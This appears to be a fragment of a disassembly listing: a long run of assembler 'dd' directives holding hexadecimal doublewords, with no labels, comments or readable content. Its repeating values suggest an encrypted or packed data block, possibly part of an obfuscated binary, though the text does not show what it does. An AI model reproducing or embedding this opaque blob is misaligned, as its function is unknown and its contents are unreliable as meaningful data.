		dd 3B3E211Eh, 2	dup(39A7B6EAh),	7E2C27A1h, 0A9CD1666h
		dd 9EC3C4F3h, 0DE62DBDh, 8C9EA19Bh, 1F62A87Bh, 39689051h
		dd 28AAB6EAh, 7F721BC0h, 56E404CEh, 11960577h, 0E8916458h
		dd 19AF305h, 5E9AF28Ch,	4011C49Dh, 39A7EC22h, 586DB6EAh
		dd 2E888C7Fh, 0E6473E0h, 0EA0E0110h, 836BC5EDh,	2A79BCEh
		dd 5C0492B8h, 0B1479812h, 25BAEA3Dh, 3ECD25E0h,	39A79BD1h
		dd 0CB5422BFh, 12C3746Ah, 540E0110h, 2338742h, 64125AD1h
		dd 22CF28Eh, 98578ED1h,	1E35EFE5h, 0B14B34BDh, 25BAEA3Dh
		dd 0AA88B0E0h, 8374B6F3h, 2A79BCEh, 97A94E6h, 0B30E5EB3h
		dd 51CEA5F5h, 11DD9E0h,	0C4F0FE8Dh, 39A7B6EBh, 39A7B6EAh
		dd 0EA7B6EAh, 0A576B6F3h, 39A7B6EAh, 0EA7B6EAh,	0A576B6F3h
		dd 39A7B6EAh, 0EA7B6EAh, 0A576B6F3h, 4 dup(39A7B6EAh)
		dd 0EA7B6EAh, 8576B6F3h, 4F85F87Ch, 844A87Bh, 108FE9BBh
		dd 44570E9Bh, 844A874h,	108E9B9Fh, 487E0E9Bh, 844A874h
		dd 108EAF33h, 72460E9Bh, 844A87Bh, 108E990Bh, 51B90E9Bh
		dd 844A87Bh, 108E98AFh,	9D20E9Bh, 844A86Eh, 108FE327h
		dd 0F4B60E9Bh, 844A878h, 108FE21Bh, 0A88F0E9Bh,	844A875h
		dd 108EA413h, 0A6840E9Bh, 844A875h, 108E98B7h, 0A90D0E9Bh
		dd 844A875h, 108FDDEBh,	0A7A20E9Bh, 844A875h, 108FE20Fh
		dd 0C21B0E9Bh, 844A878h, 108EAE23h, 0F3C548EFh,	7B809BD7h
		dd 0E5E27AF6h, 39A7E571h, 586DB6EAh, 6B5B687Fh,	100C4637h
		dd 39A79BD1h, 1C52107h,	0A58AE532h, 392DE7FAh, 94CB6EAh
		dd 0CAF631B0h, 0E276B6EAh, 0E308DEF1h, 140EC2F3h, 5992F3F5h
		dd 0A7522A67h, 1E1924C5h, 10F9E7DAh, 10F21CC0h,	0A58FB798h
		dd 0FF2C27A1h, 7B73202Eh, 3711C865h, 100C4075h,	39A79BD1h
		dd 755D4150h, 0D1729BCEh, 4702363h, 8090E74Ah, 8476A87Bh
		dd 0E2710A17h, 52BBD14Ch, 764ED9E0h, 89ED7334h,	0D8D62887h
		dd 1E0E0046h, 0E46F9FEDh, 0E27298F3h, 52BBD14Ch, 764ED9E0h
		dd 89ED6D7Ah, 0D8D62887h, 1E0E0046h, 0AB9A5EDh,	419DA566h
		dd 0E35E21F3h, 5F962AB5h, 7B809BC6h, 0E5E27AF6h, 39A7E571h
		dd 586DB6EAh, 6B50287Fh, 0BFA44237h, 0CB9E6691h, 0A98D2D51h
		dd 0C0E9B6F3h, 7011E61Ch, 0B09F3C75h, 0DDF1FDD3h, 4BC9B07Eh
		dd 0B0BBD1E4h, 52BBD14Ch, 0E14ED9E0h, 302C7455h, 6D012CC5h
		dd 847544E1h, 9283A267h, 2F1289E5h, 71E1B1DBh, 4011FACEh
		dd 857AED5Fh, 0AA7E8E71h, 9EC3C4F3h, 5D41AB81h,	0E9C52F70h
		dd 465DF1EDh, 0AA7E8EDBh, 81C4B8F3h, 2BCF01C4h,	22327870h
		dd 90E9FDD0h, 4BC9B07Eh, 0B0BBD1E4h, 52BBD14Ch,	0E14ED9E0h
		dd 302C7455h, 0F7945CC5h, 847544D3h, 9283A267h,	2F1289E5h
		dd 71E1B1DBh, 4011FACEh, 857AED5Fh, 0E9C53E9Ah,	465DF1EDh
		dd 0AA7E8EDBh, 1444AAF3h, 279BBE02h, 19705BFCh,	0B9D589B2h
		dd 0AD27B6F3h, 911986F3h, 3CA7B6EAh, 39A79BFAh,	42ACE573h
		dd 0D69DAB18h, 1E27B6EAh, 0A4CCA1B2h, 0C9129265h, 93F1C720h
		dd 0ACC1F675h, 10F21CBDh, 65ABB798h, 0FF2C27A1h, 7B73202Eh
		dd 3711C865h, 100C4075h, 39A79BD1h, 0CC6B0266h,	0AE933331h
		dd 9140CD9Bh, 3B342F3Eh, 0D6E336EAh, 0D7FDE7FAh, 0E74B6EAh
		dd 0D6A79BD8h, 750FF5CCh, 39A8DCB1h, 1FD9A1EAh,	0B97EF80Bh
		dd 41E755BEh, 9283A267h, 2F1289E5h, 71E1B1DBh, 4011FACEh
		dd 857AED5Fh, 0E9C53E9Ah, 465DF1EDh, 0AA7E8EDBh, 913FAAF3h
		dd 25875D5Bh, 0C5CC5ECCh, 0D8D628E4h, 1E0E0046h, 0B841A5EDh
		dd 8090E780h, 8476A87Bh, 36D9B009h, 9283A267h, 2F1289E5h
		dd 71E1B1DBh, 4011FACEh, 857AED5Fh, 0E9C53E9Ah,	465DF1EDh
		dd 0AA7E8EDBh, 3603CEF3h, 0D376B6EAh, 5D6F8628h, 0E27DAED7h
		dd 52BBD14Ch, 7E4ED9E0h, 13E9C769h, 0EE9100BFh,	6A4B9CBCh
		dd 4F25AB40h, 419DA56Ch, 0E35E21F3h, 5F962AB5h,	7B809BC6h
		dd 0E5E27AF6h, 0BFA9F671h, 0CB9E6691h, 0A98D2D51h, 0B443B6F3h
		dd 811B4A3Ah, 8C62A039h, 0B7D2F3E7h, 8090E780h,	8476A87Bh
		dd 6CAB3575h, 0AA404088h, 63A35AE4h, 6CE57F5h, 0D855CE86h
		dd 0A8A876CFh, 5B92512h, 1F129096h, 0FDB13E51h,	555C6E0h
		dd 5A7B6F3h, 8F1676CDh,	0EAFBCB1Ah, 5018CDA2h, 0D7A62E40h
		dd 1E0E0046h, 0EB6FA9C7h, 19729FA6h, 93ECFB61h,	0ACC1F675h
		dd 10F21CBDh, 65ABB798h, 0FF2C27A1h, 7B73202Eh,	3711C865h
		dd 100C4075h, 39A79BD1h, 0D380FB66h, 2BCF01C4h,	0D1706870h
		dd 3A101FA2h, 108EB6E9h, 9EA086C5h, 0B6E1EF5Bh,	36D9AC6Dh
		dd 9283A267h, 2F1289E5h, 71E1B1DBh, 4011FACEh, 857AED5Fh
		dd 0E9C53E9Ah, 465DF1EDh, 0AA7E8EDBh, 0D16F98F3h, 0E272AEBAh
		dd 52BBC45Ch, 4044D9E0h, 257EF0C5h, 0B97EC88Eh,	419DA566h
		dd 0E35E21F3h, 5F962AB5h, 7B809BC6h, 0E5E27AF6h, 0BFA9F671h
		dd 0CB9E6691h, 0A98D2D51h, 25C9B6F3h, 0A79A3469h, 80893767h
		dd 1A76A87Bh, 36E777C5h, 3A0AFB55h, 108EB6E9h, 9EA086C5h
		dd 0C2B82069h, 419DA570h, 0E35E21F3h, 5F962AB5h, 7B809BC6h
		dd 0E5E27AF6h, 39A7E571h, 586DB6EAh, 2F98307Fh,	100C41E0h
		dd 39A79BD1h, 0E9C52107h, 0A4EF1EDh, 0FECC5BA2h, 55A8E21Eh
		dd 66C3F307h, 55A79BCEh, 0D3C3F2E6h, 55A7B6EAh,	0C01ACE4Dh
		dd 55A7B6F3h, 0BE78051Eh, 55A79BD8h, 7F7DFBD6h,	2CA79BCEh
		dd 39A8653Ch, 1E19210Bh, 2D3FCB41h, 108FE9B2h, 7D5C7389h
		dd 1E0E0127h, 10F442C7h, 39A896F8h, 63522BEAh, 0DFC527CBh
		dd 2F9A195Ch, 29E405E0h, 108EA7C9h, 2BCB86C5h, 0C78411DBh
		dd 4876B6EBh, 0AF52D8EBh, 2030377Ah, 0DEFAA86Eh, 251BFA5Ch
		dd 9144D9E0h, 0AFF62B46h, 0EA7B6EAh, 48850741h,	0A05C6C67h
		dd 0A20D8728h, 0EA173769h, 1A76A88Bh, 7855B870h, 39A7B199h
		dd 10F9F66Dh, 65ABB798h, 0C1B96A84h, 24E375F3h,	29FB4096h
		dd 0AB966527h, 0A85500E2h, 14DFA86Ah, 81A7B196h, 0AA7FF131h
		dd 8AFCD9F3h, 0AB965AA6h, 3BDA3AB6h, 966188B9h,	0B9A7993Ch
		dd 0B617F8E3h, 0C676993Ah, 0F3F07B39h, 2A88C361h, 366188C3h
		dd 79A9B9F5h, 0B617F92Ch, 0C676993Ah, 0F3F07B39h, 0CAF66F79h
		dd 566188C3h, 99A8E33Eh, 39A9C041h, 0B61ABCB4h,	0C676993Ah
		dd 0F3F07B39h, 9A349CCAh, 0F66188BCh, 39A7980Eh, 0F9A8E33Eh
		dd 0B617F941h, 0C676993Ah, 0F3F07B39h, 249DCC38h
		dd 166193F0h, 79A8DCF9h, 0B9A79AABh, 0B617F8E3h, 0C676993Ah
		dd 0F3F07B39h, 0F5BA225Dh, 0B66193EAh, 0C676993Ah, 0F3F07B39h
		dd 4523294h, 0D66193EAh, 0F9A8DC5Ah, 0F9A9B9F9h, 0B617F941h
		dd 0C676993Ah, 0F3F07B39h, 1F173F76h, 76618893h, 0AA897E96h
		dd 0B61ABCB5h, 0C676993Ah, 0F3F07B39h, 6C72F1DAh, 96619305h
		dd 99A9C3DCh, 0B9A79B04h, 0B617F8E3h, 0C676993Ah, 0F3F07B39h
		dd 0ECB7BFA9h, 36619011h, 0C6769937h, 0F3F07B39h, 0EDAE4F44h
		dd 566190E0h, 79A79936h, 0B617F92Ch, 0C676993Ah, 0F3F07B39h
		dd 0DA17C623h, 0F6619260h, 79A79818h, 39A7980Dh, 0B61ABCB4h
		dd 0C676993Ah, 0F3F07B39h, 606A7ED4h, 166192B7h, 0A7F6010h
		dd 0C685DEB7h, 0F3F07B39h, 0CD9070Bh, 0B6619133h, 0F9A79825h
		dd 0B617F941h, 0C676993Ah, 0F3F07B39h, 6223FB55h, 0D66190DCh
		dd 0B9A79B46h, 0B617F8E3h, 0C676993Ah, 0F3F07B39h, 0FCA7CF19h
		dd 76619302h, 0EA896582h, 0B9A2095Ch, 39A8DF9Ah, 0B61ABCB4h
		dd 0C676993Ah, 0F3F07B39h, 0B79F16E2h, 966192F5h, 0B9A789DEh
		dd 6A896D37h, 0B617F817h, 0C676993Ah, 0F3F07B39h, 0A78102A7h
		dd 36619011h, 0B9A8E32Dh, 0B617F8E3h, 0C676993Ah, 0F3F07B39h
		dd 5F7D139Ah, 56619305h, 19A7905Dh, 0D9A84DDBh,	79A8E2D6h
		dd 0B617F92Ch, 0C676993Ah, 0F3F07B39h, 0A3C19AA3h, 0F6619354h
		dd 99A2F8CFh, 99A79A40h, 39A79F24h, 99A789E9h, 39A8DFBAh
		dd 0B61ABCB4h, 0C676993Ah, 0F3F07B39h, 12092EB8h, 166192F5h
		dd 79A2F004h, 0F9A79823h, 0B617F941h, 0C676993Ah, 0F3F07B39h
		dd 76FD5A97h, 0B6619380h, 39A84C6Fh, 39A84F94h,	99A2CABAh
		dd 79A2F960h, 0B9A8E2DCh, 0B617F8E3h, 0C676993Ah, 0F3F07B39h
		dd 0E5F6D2E4h, 0D66192F8h, 19A2F049h, 79A2F322h, 99A24091h
		dd 59A24103h, 79A2C80Ah, 0B9A2F554h, 0B9A2ED79h, 0B9A2F4C9h
		dd 0B9A20EEFh, 0B9A792EEh, 0B9A2CBADh, 79A8DCDCh, 0B617F92Ch
		dd 0C676993Ah, 0F3F07B39h, 64BF46E9h, 766188B9h, 0B9A2F76Eh
		dd 0FB3AA47Ah, 0BB3AABF9h, 0D9A84F8Dh, 0DB3AA402h, 0B9A2CAA8h
		dd 0D9A2F7A4h, 59A2F7C3h, 99A2F790h, 99A2EDD3h,	59A2EDCEh
		dd 0B9A2FE13h, 0B9A20691h, 39A2F778h, 0B9A2CB4Ch, 0F9A2F7E2h
		dd 0D9A2F048h, 0D9A2F7C9h, 79A2F280h, 0F9A20953h, 0F9A2DE70h
		dd 39A9C21Ch, 39A9C218h, 79A795E7h, 39A7AED8h, 99A79AF2h
		dd 99A79B0Eh, 59A79020h, 79A79010h, 59A79E26h, 0D9A7998Bh
		dd 79A7901Eh, 39A789DFh, 59A84F90h, 79A85D23h, 39A84CBFh
		dd 39A2CAFCh, 0F9A2CB0Eh, 0F9A2C825h, 39A2C59Ah, 19A2C59Dh
		dd 79A2ED96h, 59A2D733h, 39A2D521h, 39A2E8C0h, 39A2D1C4h
		dd 0AA7F63B5h, 0B61ABCB5h, 0C676993Ah, 0F3F07B39h, 0EE4C8F8Ch
		dd 9661AE90h, 0F9A2EFC1h, 3B3AB21Ah, 0FB3AA4D2h, 19A20ED9h
		dd 6A7F62F2h, 0B617F817h, 0C676993Ah, 0F3F07B39h, 9F8CD6A2h
		dd 3661AE8Ch, 0D9A88410h, 19A9BC9Fh, 39A7A73Ch,	19A7A048h
		dd 0F9A7A715h, 19A79C15h, 99A2EC5Dh, 39A206DFh,	99A241EEh
		dd 59A240A0h, 19A2CA2Fh, 59A241E4h, 79A79C31h, 0F9A2C468h
		dd 2A7F6030h, 0B617FBD3h, 0C676993Ah, 0F3F07B39h, 91CCFA12h
		dd 566193EDh, 0F9A79810h, 0B617F941h, 0C676993Ah, 0F3F07B39h
		dd 9B4FB004h, 0F66188A2h, 19A793D8h, 79A8DC00h,	0B617F92Ch
		dd 0C676993Ah, 0F3F07B39h, 4B31E3E2h, 166188A2h, 0C685DEB7h
		dd 0F3F07B39h, 65ED0996h, 0B66193EDh, 99A7A745h, 0D9A2EBB6h
		dd 19A2DE07h, 19A2CA04h, 19A2FF56h, 0D9A2FB2Eh,	99A9C2E4h
		dd 2A896C28h, 0A89B8DDh, 39A79BB1h, 79A78C6Ch, 19A794C2h
		dd 99A789E8h, 0B9A2CAFFh, 39A79B1Ah, 39A79AA0h,	0B61ABCB4h
		dd 0C676993Ah, 0F3F07B39h, 2FB6ACCBh, 0D66188A2h, 0D9A8841Ah
		dd 99A2E9F0h, 6A7F5C01h, 0B617F817h, 0C676993Ah, 0F3F07B39h
		dd 0E98F597Eh, 766193F1h, 0C676B6EAh, 0F3F07B39h, 0C32D7A3Eh
		dd 9661AE8Eh, 3B33A005h, 19A2D612h, 2A7F613Eh, 0B617FBD3h
		dd 0C676993Ah, 0F3F07B39h, 0D4311638h, 3661A9ABh, 4A89C72Bh
		dd 0B9A24059h, 0B9A79FC6h, 0EA7F635Eh, 0B617F92Fh, 0C676993Ah
		dd 0F3F07B39h, 61B918BDh, 56619D2Fh, 0AA7F6364h, 0B61ABCB5h
		dd 0C676993Ah, 0F3F07B39h, 6AA4E06Bh, 0F661A98Ah, 49CD26BFh
		dd 6A7F5C01h, 0B617F817h, 0C676993Ah, 0F3F07B39h, 46DE1536h
		dd 1661AE94h, 0CA880902h, 0A8808F4h, 2A7F5CF1h,	0B617FBD3h
		dd 0C676993Ah, 0F3F07B39h, 5D033429h, 0B661A990h, 0AB96009Ch
		dd 0CA7F626Ah, 0AA88B7CBh, 0D9A206BAh, 0B9A788C3h, 0B617F8E3h
		dd 0C676993Ah, 0F3F07B39h, 9CA2A28Dh, 0D661AE94h, 0AA8808F4h
		dd 0EA896F03h, 0B617F92Fh, 0C676993Ah, 0F3F07B39h, 5B6E16B4h
		dd 7661A990h, 2A881E09h, 0AA896FE9h, 0B61ABCB5h, 0C676993Ah
		dd 0F3F07B39h, 95D62E18h, 966192EEh, 4A7FC4FEh,	8A897E99h
		dd 6A896FDBh, 0B617F817h, 0C676993Ah, 0F3F07B39h, 0EE151C9Dh
		dd 3661925Ah, 2A896FE8h, 0B617FBD3h, 0C676993Ah, 0F3F07B39h
		dd 10784B3Fh, 566192F8h, 0FB3EDC7Ah, 0A7FC402h,	6A88090Bh
		dd 49CD2698h, 0F9A20670h, 2A896C3Bh, 0F9A2C90Fh, 0EA896FE6h
		dd 0B617F92Fh, 0C676993Ah, 0F3F07B39h, 0C2B9D09Eh, 0F6618D94h
		dd 363039FBh, 2A896CF6h, 0C9CD12DDh, 2A8819B2h,	0D9A84DEAh
		dd 0A89771Bh, 79A2DEBEh, 0AA896FCDh, 0B61ABCB5h, 0C676993Ah
		dd 0F3F07B39h, 4A0928B2h, 1661937Ah, 6A7F6D27h,	0B617F817h
		dd 0C676993Ah, 0F3F07B39h, 0E65A3D4Ah, 0B66188BDh, 6A8622A7h
		dd 0AA8622ADh, 0A89BFB4h, 5B33A957h, 2A7F63EDh,	0B617FBD3h
		dd 0C676993Ah, 0F3F07B39h, 0CBEA8FE2h, 0D661888Bh, 98D2B47h
		dd 59A7EB11h, 4A89BD37h, 0EA7F5D96h, 0B617F92Fh, 0C676993Ah
		dd 0F3F07B39h, 9BE6F02Ah, 766192AEh, 0E98D3E5Bh, 0FB3E46EEh
		dd 7B2B00E3h, 9B33A75Ah, 7B3EEF13h, 7B34E246h, 0BB2B0D05h
		dd 79A241CDh, 0B9A84C8Bh, 39A2EBA1h, 0B9A2CB46h, 0D9A2C550h
		dd 19A2F9E7h, 0B9A2CB10h, 39A2F90Fh, 0B9A2F321h, 39A2CA7Fh
		dd 79A2F04Eh, 0EA89BB70h, 6A896F53h, 2A89BB75h,	59A7AE6Eh
		dd 39A792B9h, 79A79A09h, 59A79374h, 0F9A79F6Bh,	0B9A8DC8Bh
		dd 39A84F8Ch, 0D9A85722h, 7B3AAAB3h, 39A7A055h,	19A7A6DCh
		dd 4A896855h, 0B9A9BDE5h, 79A794CCh, 2A89BBAEh,	0B9A89193h
		dd 19A791E4h, 0AA7F629Dh, 0B61ABCB5h, 0C676993Ah, 0F3F07B39h
		dd 92F01E98h, 966193EDh, 6A888038h, 498D2A20h, 0EA89BF62h
		dd 0DB2B03FAh, 3B2BFDBAh, 0BB3E46FBh, 7B2B0300h, 3B33A723h
		dd 7B3B309Bh, 59A88704h, 0D9A2CA8Fh, 39A206B7h,	0F9A2CB04h
		dd 99A2FF33h, 29CD110Ah, 4A896B2Eh, 99A8841Ah, 79A89654h
		dd 6A89BB55h, 59A88750h, 2A89C509h, 39A7A710h, 99A8DCF6h
		dd 0CA89680Bh, 39A2DE50h, 99A8876Ch, 0F9A79BEAh, 79A20F39h
		dd 79A79479h, 2A7F63FEh, 0B617FBD3h, 0C676993Ah, 0F3F07B39h
		dd 7789FFD8h, 366188C3h, 0CA896AE9h, 0CA896AFAh, 0EA7F630Bh
		dd 0B617F92Fh, 0C676993Ah, 0F3F07B39h, 98F3322Eh, 56618D97h
		dd 6B95ADE2h, 0A98D205Dh, 29CD1438h, 0F9A88751h, 0AA7F5D8Ch
		dd 0B61ABCB5h, 79A8DDEFh, 0C6769817h, 0F3F07B39h, 275BFD7Dh
		dd 0F66188A2h, 0AA7FCA92h, 6A89773Dh, 0B617F817h, 0C676993Ah
		dd 0F3F07B39h, 861DFE59h, 166192EEh, 0A8622C1h,	0AA86212Fh
		dd 0CA8620E3h, 0C98D2F8Eh, 0EA896F9Bh, 8A89C0E6h, 9B33A973h
		dd 2A7F637Dh, 0B617FBD3h
		dd 0C676993Ah, 0F3F07B39h, 7101AA4Fh, 0B66193EDh, 0CA890398h
		dd 4A888925h, 0EA7F602Fh, 0B617F92Fh, 0C676993Ah, 0F3F07B39h
		dd 1A70C2F3h, 0D66188C0h, 0A7FC4D5h, 39A7AEA1h,	79A7957Fh
		dd 19A2EDEEh, 0AA7F588Ah, 0B61ABCB5h, 0C676993Ah, 0F3F07B39h
		dd 0F1FC9B05h, 76619039h, 0AB95881Ah, 2B958A09h, 2A86171Bh
		dd 0AA7F58A8h, 0B61ABCB5h, 0C676993Ah, 0F3F07B39h, 0DC2FC66Dh
		dd 96619380h, 0F9A7A156h, 0B617F941h, 0C676993Ah, 0F3F07B39h
		dd 0EE5824CEh, 36619FD8h, 39A79AECh, 0B61ABCB4h, 0C676993Ah
		dd 0F3F07B39h, 0E0EC1796h, 56619FD1h, 0F9A7A1AAh, 0B617F941h
		dd 0C676993Ah, 0F3F07B39h, 0D2784237h, 0F6619380h, 2A897EA6h
		dd 0B617FBD3h, 0C676993Ah, 0F3F07B39h, 0E66550F8h, 166192F7h
		dd 0D9A7AFC5h, 2B9655AAh, 6B964C73h, 898D24E8h,	0E9CDCDD7h
		dd 498D2FA3h, 49CD1766h, 4A896489h, 99A2096Bh, 0EA897E9Bh
		dd 0B617F92Fh, 0C676993Ah, 0F3F07B39h, 74561B2Fh, 0B6619FD1h
		dd 0DB3B6122h, 0CA88849Ch, 298D2C7Fh, 98D3517h,	0BB3EE843h
		dd 59A7EF84h, 79A7E861h, 0C9CD17A6h, 8A89BF7Eh,	0BB2BD80Fh
		dd 0B9A79A12h, 99A20E02h, 7B3AAAA8h, 3B3AA81Ch,	0D9A79801h
		dd 19A78DA3h, 0AA8979C7h, 0B61ABCB5h, 0C676993Ah, 0F3F07B39h
		dd 0A9C1C2DBh, 0D661A73Dh, 6A897E9Bh, 0B617F817h, 0C676993Ah
		dd 0F3F07B39h, 0BBBD732Ah, 76619357h, 79A9C3AAh, 2A89798Dh
		dd 0B617FBD3h, 0C676993Ah, 0F3F07B39h, 0EF9851A4h, 96619FEBh
		dd 39A7A7A2h, 59A2F0A2h, 19A79A95h, 4A89B93Fh, 0CA888927h
		dd 2A8899B9h, 8B965FEBh, 9CDD7CFh, 0E98D2A27h, 8A894CC4h
		dd 0CA7F62E7h, 8A89BE3Eh, 5B2B34C9h, 0CA89659Bh, 99A7A9C0h
		dd 0B1E483A7h, 9008D227h, 9008D440h, 300805D4h,	3008FFF8h
		dd 0D001911Ch, 0A51F6CDAh, 7171FDA3h, 41109DA6h, 0AA9A7FA5h
		dd 736C8797h, 0F0C7A377h, 651F735Ah, 7170C029h,	41109DA6h
		dd 0AA9A7FA5h, 8B81D41Ch, 10C79493h, 0F008EEFEh, 0F0019D35h
		dd 7170C328h, 41109DA6h, 0AA9A7FA5h, 0E7189E00h, 0B0C79499h
		dd 41109F4Bh, 0AA9A7FA5h, 0F2DB8D9Bh, 0D0C79668h, 10FE9A2Bh
		dd 0B0018C37h, 7171FDCDh, 41109DA6h, 0AA9A7FA5h, 1101CB74h
		dd 70C7A33Dh, 30018C4Ch, 7171FDA0h, 41109DA6h, 0AA9A7FA5h
		dd 0A2F90B67h, 0AA9A7302h, 71F265FCh, 0F18ECE61h, 41109DABh
		dd 0AA9A7FA5h, 0AA1B21E5h, 118ECD9Dh, 11CEE00Dh, 0B0019D9Ah
		dd 7171FDCDh, 41109DA6h, 0AA9A7FA5h, 0DCC731D4h, 0B18ECC90h
		dd 51CEE1F6h, 70019566h, 7171FC6Fh, 41109DA6h, 0AA9A7FA5h
		dd 8C35A49Fh, 0D18ECE42h, 11CDAB29h, 300194F0h,	7171FDA0h
		dd 41109DA6h, 0AA9A7FA5h, 0F72D297Ch, 718ED5EFh, 3008C9BFh
		dd 0A51FBE66h, 11E4F09Fh, 0F00194F0h, 7170C328h, 41109DA6h
		dd 0AA9A7FA5h, 0D947D418h, 918ECE61h, 1008E264h, 52966F8h
		dd 0B0019DA5h, 7171FDCDh, 41109DA6h, 0AA9A7FA5h, 535C8323h
		dd 318ECE5Fh, 0D1CD9F2Fh, 70019DB5h, 7171FC6Fh,	452882ADh
		dd 7171FDCCh, 4533F51Dh, 7171FDCCh, 0E5297EB6h,	7171FF3Fh
		dd 41109DA6h, 0AA9A7FA5h, 2FDE4C4Ah, 518ED5F0h,	3002E64Ah
		dd 7171FDA0h, 41109DA6h, 0AA9A7FA5h, 11E6221Fh,	0F18ECCABh
		dd 0F0FFC63Eh, 7170C328h, 41109DA6h, 0AA9A7FA5h, 0BAADB4EAh
		dd 118ED41Dh, 0B002E314h, 7171FDCDh, 41109DA6h,	0AA9A7FA5h
		dd 0A2F90B67h, 0AA9A7302h, 259801F7h, 50C7AD2Ah, 0F0019D88h
		dd 7170C328h, 41109DA6h, 0AA9A7FA5h, 0A2F90B67h, 0AA9A7302h
		dd 6EC61148h, 0D0C7957Dh, 31E51099h, 51D5DFC4h,	50019629h
		dd 5001A3ABh, 0B001AB8Bh, 7171FDCDh, 41109DA6h,	0AA9A7FA5h
		dd 0F3C1F4F5h, 70C7948Eh, 0B0FFC645h, 70019EB3h, 7171FC6Fh
		dd 41109DA6h, 0AA9A7FA5h, 0D399A0BBh, 90C7BD01h, 5008CB09h
		dd 3001961Fh, 7171FDA0h, 41109DA6h, 0AA9A7FA5h,	6E93A31h
		dd 30C797E6h, 0B0FF0ADBh, 0F001961Ch, 7170C328h, 41109DA6h
		dd 0AA9A7FA5h, 0CFDB3BE3h, 50C7BD1Ch, 50FF054Ah, 0B0019610h
		dd 7171FDCDh, 41109DA6h, 0AA9A7FA5h, 72A55676h,	0F0C7A340h
		dd 90019723h, 700196A9h, 7171FC6Fh, 41109DA6h, 0AA9A7FA5h
		dd 0B9F612D7h, 10C7BD1Ch, 0B001981Bh, 3001A0B7h, 7171FDA0h
		dd 41109DA6h, 0AA9A7FA5h, 810C3638h, 0B0C7B23Ah, 0D0019B0Bh
		dd 0F0019E52h, 7170C328h, 41109DA6h, 0AA9A7FA5h, 0B7EDC92Eh
		dd 0D0C7A19Eh, 1001AD50h, 0B0019878h, 7171FDCDh, 41109DA6h
		dd 0AA9A7FA5h, 0A6C27119h, 70C7AD34h, 7001A372h, 70019E87h
		dd 7171FC6Fh, 41109DA6h, 0AA9A7FA5h, 8A40460Eh,	90C7AC26h
		dd 1008C931h, 7008F770h, 5008FC20h, 300198E1h, 7171FDA0h
		dd 41109DA6h, 0AA9A7FA5h, 572960EDh, 30C7A1A9h,	10019497h
		dd 0F00198F6h, 7170C328h, 41109DA6h, 0AA9A7FA5h, 5578D24h
		dd 50C7BD07h, 90018CEFh, 900195A5h, 0B00199E6h,	7171FDCDh
		dd 41109DA6h, 0AA9A7FA5h, 0AE4DC8B3h, 0F0C7B22Dh, 50FE8BE4h
		dd 700190C7h, 7171FC6Fh, 41109DA6h, 0AA9A7FA5h,	96C8A6Dh
		dd 10C7BD20h, 0D0FE8BD5h, 300199D4h, 7171FDA0h,	41109DA6h
		dd 0AA9A7FA5h, 833B34DFh, 0B0C7BD06h, 1002BAF2h, 10019CB7h
		dd 0F001AA70h, 0F00199F4h, 7170C328h, 41109DA6h, 0AA9A7FA5h
		dd 0A811E663h, 0D0C7AD4Fh, 1001A365h, 0B0019910h, 0B00199FAh
		dd 7171FDCDh, 41109DA6h, 0AA9A7FA5h, 0A5DFA776h, 70C7A29Dh
		dd 5008E2D6h, 7001B276h, 7171FC6Fh, 41109DA6h, 0AA9A7FA5h
		dd 1391015Dh, 90C7B231h, 0D0FFBC50h, 30019B2Fh,	7171FDA0h
		dd 41109DA6h, 0AA9A7FA5h, 0FC92347Ah, 30C7AD33h, 0B0081257h
		dd 0F0019B38h, 7170C328h, 41109DA6h, 0AA9A7FA5h, 38C40A3Dh
		dd 50C7A33Fh, 0D008CC70h, 0B0019B28h, 7171FDCDh, 41109DA6h
		dd 0AA9A7FA5h, 5B545C28h, 0F0C7A35Ah, 0D008470Bh, 70FE89AAh
		dd 3008C9F7h, 700199F5h, 7171FC6Fh, 41109DA6h, 0AA9A7FA5h
		dd 0AB596960h, 10C7A046h, 3008ED76h, 5008CED0h,	300199DAh
		dd 7171FDA0h, 41109DA6h, 0AA9A7FA5h, 650CB490h,	0B0C7AD4Ch
		dd 0F008C865h, 0F001914Eh, 7170C328h, 41109DA6h, 0AA9A7FA5h
		dd 9AF53D00h, 0D0C7A33Fh, 3008D0CCh, 0B0019863h, 7171FDCDh
		dd 41109DA6h, 0AA9A7FA5h, 0C6F6C677h, 70C7BD1Dh, 1008D0B0h
		dd 70019E89h, 7171FC6Fh, 41109DA6h, 0AA9A7FA5h,	96D6B572h
		dd 90C7A36Eh, 1008CE8Ah, 5008F9A3h, 3001911Dh, 7171FDA0h
		dd 41109DA6h, 0AA9A7FA5h, 0F7ECAE1Bh, 30C7A35Ah, 5008D096h
		dd 0F001911Dh, 7170C328h, 41109DA6h, 0AA9A7FA5h, 528E6FAFh
		dd 50C7A33Fh, 0C35BD116h, 0C35BD0EDh, 35BD479h,	83645825h
		dd 0C36458F6h, 2336296Dh, 23363335h, 0E3645B1Ch, 363800Ch
		dd 23362E47h, 0E2CD0F54h, 71AD2F4Eh, 1AED881Dh,	339E7F85h
		dd 25243221h, 435BD626h, 435BD03Bh, 835BD66Ah, 0E3362E6Ch
		dd 0E2CD0FF7h, 71AD2F4Eh, 1AED881Dh, 0E6BBC63Eh, 45242F24h
		dd 635BD74Bh, 635B1A15h, 23645E46h, 35B1B52h, 836459D8h
		dd 83362AA3h, 0A3364AF9h, 0A3361CC1h, 0E2CD0F29h, 71AD2F4Eh
		dd 1AED881Dh, 4055E08Fh, 0E5242F1Fh, 0A47F5A6Bh, 633627CFh
		dd 0E2CCD6A0h, 71AD2F4Eh, 1AED881Dh, 69B09B64h,	524438Ah
		dd 0A5BBF4BDh, 43A26A9h, 5BB1D1Dh, 23362734h, 0E2CD0F54h
		dd 71AD2F4Eh, 1AED881Dh, 147D02A8h, 0A52443AFh,	85BB4054h
		dd 835B1B5Ch, 0E3362C67h
		dd 0E2CD0FF7h, 71AD2F4Eh, 1AED881Dh, 90296B24h,	0C5243221h
		dd 489C7AFh, 0A336353Ah, 0E2CD0F29h, 71AD2F4Eh,	1AED881Dh
		dd 8E2F3C52h, 6524438Ah, 0E5BBD9D1h, 63638549h,	63640D56h
		dd 4364098Ah, 43645E25h, 63640FBCh, 0A35BD760h,	0A3645C7Fh
		dd 635BD7D0h, 65BBCFDBh, 435B18B1h, 2336256Eh, 0C33643B9h
		dd 23363560h, 43363BB7h, 63362804h, 0E3363379h,	63645E4Eh
		dd 3360509h, 63362ED4h,	0E2CCD6A0h, 71AD2F4Eh, 1AED881Dh
		dd 0EDD70776h, 8524309Dh, 25BBD716h, 23640876h,	23638498h
		dd 0E363926Fh, 0A3638C26h, 0C3638155h, 3638725h, 435BD764h
